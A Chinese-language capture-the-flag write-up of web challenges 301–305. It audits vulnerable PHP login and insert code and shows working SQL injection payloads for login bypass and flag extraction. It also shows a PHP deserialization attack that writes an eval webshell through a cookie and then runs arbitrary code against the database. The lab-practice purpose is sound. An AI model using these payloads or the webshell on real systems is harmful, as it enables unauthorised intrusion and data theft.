web301

主要审计checklogin页面,我对源码做了些许注释

  1. <?php
  2. error_reporting(0);
  3. session_start();
  4. require 'conn.php';
  5. $_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
  6. $_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
  7. $username=$_POST['userid'];
  8. $userpwd=$_POST['userpwd'];
  9. $sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
  10. $result=$mysqli->query($sql);
  11. $row=$result->fetch_array(MYSQLI_BOTH);
  12. if($result->num_rows<1){ //如果result的结果集中行的数量小于一,则session错误
  13. $_SESSION['error']="1";
  14. header("location:login.php");
  15. return;
  16. }
  17. if(!strcasecmp($userpwd,$row['sds_password'])){//如果输入的userpwd和数据库中查出的psw相同,则进入主页面。
  18. $_SESSION['login']=1;
  19. $result->free();
  20. $mysqli->close();
  21. header("location:index.php");
  22. return;
  23. }
  24. $_SESSION['error']="1";
  25. header("location:login.php");
  26. ?>

image.png
strcasecmp 判断两个数是否相等,如果相等就返回0,前面加个!,相等应该返回1,可以直接执行这个语句。
image.png
可以看到,sql语句没有任何转义和过滤,所以我们可以通过sql注入,使查出的结果和pwd相同
使用联合查询:
userid=-1' union select 1 from sds_user %23&userpwd=1

web302

image.png
改了这个地方

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
可以看到我们的$usedrpwd被编码了,sds_decode,好在我们知道它的加密的方法。
image.png

  1. <?php
  2. function sds_decode($str){
  3. return md5(md5($str.md5(base64_encode("sds")))."sds");
  4. }
  5. echo sds_decode(1);
  6. ?>
  7. //d9c77c4e454869d5d8da3b4be79694d3

userid=-1' union select d9c77c4e454869d5d8da3b4be79694d3'' from sds_user %23&userpwd=1

web303

下载源码
image.png
发现多了个user.sql的文件

image.png
里面插入了一个账号,admin,后面密码也是admin的意思
image.png
这里去看看checklogin,发现
image.png
长度限制了,不能从开始直接注入了
用admin,admin登录

  1. <?php
  2. session_start();
  3. require 'conn.php';
  4. if(!isset($_SESSION['login'])){
  5. header("location:login.php");
  6. return;
  7. }else{
  8. //注入点
  9. $_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
  10. $_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
  11. $_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
  12. $_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
  13. $_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
  14. $_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
  15. $dpt_name=$_POST['dpt_name'];
  16. $dpt_address=$_POST['dpt_address'];
  17. $dpt_build_year=$_POST['dpt_build_year'];
  18. $dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
  19. $dpt_cert_number=$_POST['dpt_cert_number'];
  20. $dpt_telephone_number=$_POST['dpt_telephone_number'];
  21. $mysqli->query("set names utf-8");
  22. $sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
  23. $result=$mysqli->query($sql);
  24. echo $sql;
  25. if($result===true){
  26. $mysqli->close();
  27. header("location:dpt.php");
  28. }else{
  29. die(mysqli_error($mysqli));
  30. }
  31. }
  32. ?>

发现注入点insert语句没有任何过滤,直接注入
image.png
之后就是正常的sql注入

1'and (select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#

dpt_name=1&dpt_address=2&dpt_build_year=2022-01-22&dpt_has_cert=on&dpt_cert_number=2&dpt_telephone_number=1%27+and+%28select+group_concat%28flag%29+from+sds_fl9g%29#
最后负载query函数。
image.png

web304

虽然添加了waf,但是waf没有用到注入点,所以上题的payload还可以用
image.png

web305

首先查看checklogin,多了个和·这个
image.png
再看文件目录
image.png
多了个class.php

  1. class user{
  2. public $username;
  3. public $password;
  4. public function __construct($u,$p){
  5. $this->username=$u;
  6. $this->password=$p;
  7. }
  8. public function __destruct(){
  9. file_put_contents($this->username, $this->password);
  10. }
  11. }

是个反序列化的类,我们可以通过file_put_contents函数,写入一个🐎
再看看我们上次注入的地方
image.png
都被waf给安排了,没办法,只能反序列化写马了
要在cookie处传值
因为是在checklogin页面,所以这个🐎要在checklogin页面写,又因为到checklogin的时候会跳转到login,所以直接抓包传值
image.png

  1. <?php
  2. class user{
  3. public $username='shall.php';
  4. public $password= '<?php eval($_POST[1]);?>';
  5. }
  6. $a=new user();
  7. echo urlencode(serialize($a));
  8. ?>
  9. //O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A9%3A%22shall.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

然后访问shall.php页面,可以直接连蚁剑
他的flag不在目录中,需要再数据库中操做
image.png

而conn.php的密码是假的,需要在网站的conn.php里找
image.png
然后连蚁剑查找flag
image.png

或者
直接在shall.php页面下进行任意代码执行

  1. 1=include "conn.php";
  2. $sql="select group_concat(flag) from sds_flabag "; //MySQL代码
  3. $result=$mysqli->query($sql);
  4. $row=$result->fetch_array(MYSQLI_BOTH);
  5. print_r($row);

image.png
然后就是我的一些疑问,为什么要对序列化进行url编码
image.png
image.png
所以我们把内容进行url编码,可以防止,浏览器对一些字符的错误识别。

小结

做完之后,就觉得sql注入这方面还是不行,都忘了,以前的基础查询语句都忘了,还是要补一下。